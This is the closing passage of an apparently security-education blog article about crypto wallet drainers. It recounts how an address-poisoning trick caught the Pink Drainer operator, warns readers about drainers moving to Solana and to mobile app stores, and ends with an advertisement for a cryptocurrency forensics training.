The hacker is betting that on your next transfer, you’ll simply scroll through your history, pick the most recent address you see, and send your money not back to yourself, but straight into the hacker’s pocket. And that’s exactly how Pink Drainer got caught in his own kind of trap. He picked what looked like the last transaction in his history and sent ten ETH, worth about $15.000 at the time, straight to some unknown “colleague” who was never really his colleague at all.
Conclusion
Because draining is so easy and profitable, this type of scam is not going away anytime soon. If anything, the ways malicious payloads get delivered will only keep getting more sophisticated from here. Drainers are increasingly setting their sights on younger blockchains too. On Ethereum-based networks, it’s steadily getting harder for hackers to operate, since protective measures keep appearing that they have to find new ways to bypass. On Solana, though, no such protections really exist yet, which makes it a much softer target. New kinds of drainers will keep emerging as well. Some scammers have already started building actual apps for Google Play and the App Store, moving beyond simple websites and into places millions of people trust by default. So stay alert out there, and think twice before you click any button, especially one promising you free money. If it feels too good to be true, in crypto more than almost anywhere else, it usually is.
If you’re interested in cryptocurrency forensics, we have a dedicated training called Bitcoin and Cryptocurrency Forensics. You will get to dive into blockchain analysis and cryptocurrency investigations, learning the skills needed to become a cryptocurrency forensic analyst. You can buy the training separately or attend it live on September 15-17 at 3 PM UTC.
Login
